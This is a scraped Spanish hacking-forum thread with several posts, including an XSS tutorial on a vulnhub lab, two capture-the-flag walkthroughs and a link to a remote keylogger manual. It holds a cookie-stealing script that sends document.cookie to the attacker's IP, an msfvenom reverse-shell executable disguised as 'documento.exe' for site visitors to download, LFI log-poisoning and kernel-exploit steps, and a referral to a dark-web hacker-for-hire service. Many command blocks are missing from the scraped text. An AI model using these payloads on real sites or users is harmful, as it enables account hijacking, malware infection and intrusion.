AEScrypter es un script programado en python con la finalidad de cifrar todos los datos sensibles en su dispositivo con el algoritmo de cifrado AES por diferentes bloques (128, 192 y 256). Paquete desarrollado por: https://www.aescrypt.com/

Ejemplo de cifrado de datos:


Ejemplo de descifrado de datos:


Instalación:

REPOSITORIO: https://github.com/R3LI4NT/AEScrypter

He intentado contactar en la dark web (con medios de proteccion) con algun hacker, mandado mail para ver si me pueden ayudar (pagando, evidentemente). No he conseguido respuesta

No has buscado bien entonces, la dark web es extensa y hay más estafadores que hackers ofreciendo servicios.

Servicios de Hacker-Man: http://tormarkerr6otph7qhs4bs6f32apsnrd4zz3j6px2hl6534hgrtsxhqd.onion/hacker-man

¿Qué es 'XSS'?
Cross-Site Scripting (XSS) es uno de los ataques más conocidos y explotados en entornos web, forma parte de las 10 vulnerabilidades más frecuentes en aplicaciones web desde 2014, algunas estadísticas afirman que el 70% de los sitios web tienen al menos una vulnerabilidad de XSS. Este ataque se aprovecha de fallas de seguridad de sitios y aplicaciones web ya que permite a un atacante cargar scripts maliciosos en un sitio web del lado del navegador para que un usuario desprevenido visite el sitio y sea infectado, tal como robar sus cookies (credenciales), realizar un defacement, cargar un código malicioso para obtener sesión de la máquina víctima o simplemente redirreccionar al usuario a otro sitio maliciosos (phishing).

¿Cómo se inyecta el script malicioso?
Normalmente el atacante lo que hace es buscar una entrada de datos en el sitio web, como puede ser un simple input de búsqueda o formularios/campos de comentarios, así como en la misma URL con un payload precargado.

Tipos de ataques de Croo-Site Scripting
Existen tres tipos de vectores de XSS.

XSS indirecto (reflejado): Es el tipo de ataque más común, el atacante inyecta el script en el sitio web y esté es ejecutado cuando el usuario hace una petición al servidor web, es entonces cuando se carga el script y se muestra como un mensaje de error. Por el lado de la víctima se mostrará dicho mensaje y que deberá hacer clic en el enlace que se le indique, ejecutando así el código malicioso y descargando el malware en su equipo.

XSS directo (persistente): En este caso, el ataque persistente infecta todas las respuestas HTTP a través de la carga maliciosa por parte del atacante, la diferencia con el reflejado es que en este no es necesario atraer a la víctima y redireccionarla con un enlace. Lo único que tiene que hacer es esperar que está haga clic sobre algún campo de comentario y el hackeo se produce automático, o mejor dicho, de forma pasiva.

XSS basado en DOM: El tercer ataque intenta escabullirse lo más que pueda, volviéndola difícil de detectar si no se profundiza el código línea por línea. El payload del ataque se ejecuta en la modificación del entorno DOM en el navegador de la víctima utilizado por el código del lado del cliente original, es decir, la respuesta HTTP no cambia, pero el contenido de la página se ejecuta de manera  diferente debido a las modificaciones maliciosas del script producido en el entorno DOM.

Si desean profundizar más acerca de estos vectores les recomiendo este PDF en español: http://xsser.sourceforge.net/xsser/XSS_for_fun_and_profit_SCG09.pdf

DETECTAR VULNERABILIDAD XSS
Para no meterme en problemas he descargado una máquina de vulnhub llamada "XSS AND MYSQL" de Pentester Lab para demostrar como es posible aprovecharse de esta vulnerabilidad con fines practicos.

- PENTESTER LAB: XSS AND MYSQL: https://www.vulnhub.com/entry/pentester-lab-xss-and-mysql-file,66/


IP host: 192.168.25.135

Antes que nada les voy a recomendar un script de nmap para detectar posibles vectores vulnerables a XSS a través del siguiente comando:


O si lo prefieren pueden optar por la herramienta XSStrike:
- https://github.com/s0md3v/XSStrike
- USO: https://github.com/s0md3v/XSStrike/wiki/Usage

Personalmente hay ocasiones que prefiero hacerlo manual y no causar mucho ruido, tampoco se necesita ser un experto en JavaScript pero si conocer los párametros básicos para detectar XSS, como por ejemplo el "<script>alert("Vulnerable a XSS");</script>" para mostrar un mensaje de alerta y saber si es vulnerable a XSS o no.


Luego de hacer clic en "Submit" mostrará el mensaje de alerta.


SECUESTRO DE COOKIES

Definitivamente la página es vulnerable a Cross-Site Scripting, cuando otro usuario intente hacer un comentario se ejecutará la alerta anterior, pero... ¿y ahora qué? Bueno, aquí es donde hay que exprimir todo el jugo a esta vulnerabilidad. Según la web hay un panel de administración así que intentaré robar las cookies de un usuario privilegiado e iniciar sesión, y para ello usaré el siguiente script: "<script>document.write('<img src="http://192.168.1.9:8585/?'+document.cookie+' "/>");</script>". La dirección IP local es la de mi máquina (Kali) y el puerto 8080 es donde se va a escribir y almacenar la cookie.


El mensaje de alerta se mostrará de nuevo porque ya lo había escrito para detectar el XSS, ahora lo que haremos es abrir el puerto 8585 y esperar a que un usuario inicie sesión y capturar la cookie. Para esto podemos usar Netcat o el mismísimo Python3:

Pueden hacer la prueba iniciando sesión:
User: admin
Password: P4ssw0rd


Cookie: u61dlmmqrsrbt612lmu4tmh0o5

Descargamos la extensión de "Cookie Manager" en el navegador Firefox y creamos una nueva cookie.
- Extensión: https://addons.mozilla.org/es/firefox/addon/a-cookie-manager/

En value pegan la cookie y en la URL el sitio web.


Recargamos la página y le damos a "Admin" y como verán iniciamos sesión en la cuenta del administrador sin necesidad de aportar ninguna credencial.


OBTENER CONTROL DE LA MÁQUINA DEL USUARIO
Aquí es donde viene lo peligroso, no solamente podemos hackear el sitio web, sino también cargar un software o código malicioso para que cualquier usuario que visite el sitio web descargue el malware y se infecte. Para eso es necesario utilizar otro script más malicioso aún:


El código no es difícil de comprender, se crea una variable llamada "software" en donde se le indica que redireccione al usuario a la página (nuestra IP local) y descargue el programa malicioso (documento.exe).

Crear archivo ejecutable malicioso con msfvenom:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.9 LPORT=4444 EXITFUNC=thread -f exe -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai > /var/www/html/documento.exe

LHOST es su IP local y el LPORT pueden cambiarlo o dejarlo tal cual, al final especifique la ruta en el directorio raíz del servidor local y finalmente el nombre del archivo.


Abrir servidor local HTTP:

Cualquier usuario que entre a la página se le preguntará si desea descargar el documento y en caso de que alguien lo descargue y ejecute deberíamos de tener una terminal a escucha de conexiones por el puerto 4444.



Finalmente el usuario ejecuta el documento "legítimo" y obtenemos acceso al sistema Windows 10.


Lista de XSS payloads: https://github.com/payloadbox/xss-payload-list

MITIGAR VULNERABILIDAD
Por parte del administrador del sitio web se le aconseja bloquear determinados caracteres que pueden ser utilizados para introducir código malicioso, validar y verificar todos los datos de entrada que el usuario pueda ingresar como texto; así como la longitud de la misma. Implementar un WAF que impida los ataques de XSS y monitoreé el tráfico HTTP, codificar los datos de salida para los usuarios. Por parte de los usuarios mantener antivirus y navegadores actualizados.


#R3LI4NT

Nombre de la máquina: Tomato_1
O.S: Linux (Ubuntu)
Nivel: Medio-Difícil
Reto compartido en mi perfil de Github: https://github.com/R3LI4NT/ctf-retos
Descargar desde vulnhub:  https://www.vulnhub.com/entry/tomato-1,557/

Paso 1): Identificar la IP de la máquina host con NetDiscover.


IP host: 192.168.1.10

Paso 2): Escanear todos los puertos que estén abiertos con Nmap.


Puertos abiertos: [21,80,2211,8888]

Paso 3): Detección de servicios y sistema operativo.


Servidor corriendo: HTTP Apache
O.S: Linux (Ubuntu)
URL del servidor: http://192.168.1.10


En el puerto 8888 se encuentra corriendo el servidor Nginx (http:192.168.1.10:8888).


Paso 4): Enumerar archivos y directorios con Dirb.


Directorio: http://192.168.1.10/antibot_image/

Al inspeccionar el código del archivo info.php, indica en un comentario que es posible subir una imagen con el método GET.


Paso 5): Búsqueda de vulnerabilidad LFI (Inclusión de archivos locales).
Herramienta Tester: https://github.com/kostas-pa/LFITester
LFI Payloads: https://raw.githubusercontent.com/emadshanab/LFI-Payload-List/master/LFI%20payloads.txt



URL:



Paso 6): Envenenar registros de Apache a través de SSH creando una backdoor por el puerto 2211.


Paso 7): Configurar proxy y capturar solicitud GET con BurpSuite.
Configuración de Firefox > Configuración de redes > Configuración de proxy manual
HTTP Proxy: 127.0.0.1
Port: 8080


Acceder a la URL: http://192.168.1.10/antibot_image/antibots/info.php?image=../../../../../../../../../../../../var/log/auth.log&cmd=
BurpSuite capturará la solicitud GET y a la misma se le agregará comandos extras para acceder al interior de la máquina con una reverse shell:

Reverse Shell Cheat Sheet: https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet


Antes de obtener un reverse shell, es preciso codificar los comandos extras. Convert selection > URL > URL-encode all characters


Después, ponemos a netcat en escucha por el puerto 4444 para obtener una reverse shell:

Seleccionar la URL completa desde el proxy de Burp y hacer clic en Forward para enviar la petición GET maliciosa.


Paso 8]: Escalar privilegios: buscar exploit y descargarlo con SearchSploit.
Versión del kernel: 4.4.0-21-generic


Abrir un servidor local en el puerto 80 con Python3:


Descargar exploit en el directorio /tmp y compilar código:


Ejecutar exploit y capturar la flag del directorio /root:


FLAG: Sun_CSR_TEAM_TOMATO_JS_0232xx23


#R3LI4NT

Nombre de la máquina: CyberSploit
O.S: Linux (Ubuntu)
Nivel: Fácil
Reto compartido en mi perfil de Github: https://github.com/R3LI4NT/ctf-retos
Descargar desde vulnhub:  https://www.vulnhub.com/entry/cybersploit-1,506/


PASO 1): Identificar la IP de la máquina host con NetDiscover.


IP host: 192.168.1.5

PASO 2): Escanear todos los puertos que estén abiertos con Nmap.


Puertos abiertos: [22,80]

PASO 3): Detección de servicios y sistema operativo.


Servidor corriendo: HTTP Apache


PASO 4): Enumerar archivos web con Dirb.


Archivo: robots.txt
Mostrar contenido del archivo con Curl:


Mensaje ofuscado a base64: R29vZCBXb3JrICEKRmxhZzE6IGN5YmVyc3Bsb2l0e3lvdXR1YmUuY29tL2MvY3liZXJzcGxvaXR9

Decodificar mensaje con Bash:


PASO 5): Conectarse al servidor SSH.

CREDENCIALES SSH
Usuario: itsskv
Contraseña (FLAG_1): cybersploit{youtube.com/c/cybersploit}



Capturar la segunda flag:


Flag ofuscada a código binario:

PASO 6): Decodificar binario.

ONLINE: https://www.online-toolz.com/langs/es/tool-es-text-binary-convertor.html


FLAG_2: cybersploit{https:t.me/cybersploit1}

PASO 7): Escalar privilegios: buscar exploit con Searchsploit.


Versión del kernel: 3.13.0-32


Descargar exploit:


Abrir un servidor local en el puerto 80 con Python3:


Descargar exploit en el directorio /tmp; compilar y dar permisos de escritrura, lectura y ejecucción:


Por último, explotar el kernel ./kernel y capturar la key (flag) del fichero finalflag.txt dentro del directorio /root:


FLAG_3: cybersploit{Z3X21CW42C4 many many congratulations !}

#R3LI4NT

Vaya... había reportado hace unos días este post y otros de este usuario pero los administradores pasaron por alto, menos mal que apareciste tu poseidon ya me olía mal esto. Me faltaron pruebas eso sí, no cabe duda que esta "herramienta sorpresa" también este infectada con malware: https://hackxcrack.net/foro/hacking/blazing-dork/

Y según la normativa esta prohibido añadir acortadores a los links, ya hasta denuncie el blogspot desde el sitio oficial de blogger, todas estas tools deben contener malware de seguro...

Que tal gente de HxC!

Les comparto un manual escrito por un compañero cuyo nick es ZZKLLX en el cual explica como crear un keylogger remoto (envío por email) desde cero con lenguaje Python. En el manual se explica detalladamente el bloque de código y su respectiva función. El código se encuentra alojado en su perfil de github junto con la revista.


Descargar

MEGA: https://mega.nz/file/7nwEQazb#Fjdg3I05eUElXelelsj2u5XYiWzcCcMGk7SNOIwa3t4
Mediafire: https://www.mediafire.com/file/1u81mgt2gje03fo/KEYLOGGER_CON_PYTHON.pdf/file
Leer online: https://www.yumpu.com/es/document/view/66966323/keylogger-con-python
Perfil de Github: https://github.com/ZZKLLX

Prueba el script de Slowloris Check de Nmap para comprobar si el puerto 80 es vulnerable a este ataque.

- https://nmap.org/nsedoc/scripts/http-slowloris-check.html

Para utilizarlo usas el siguiente comando:
nmap -p 80 --script http-slowloris-check "IP"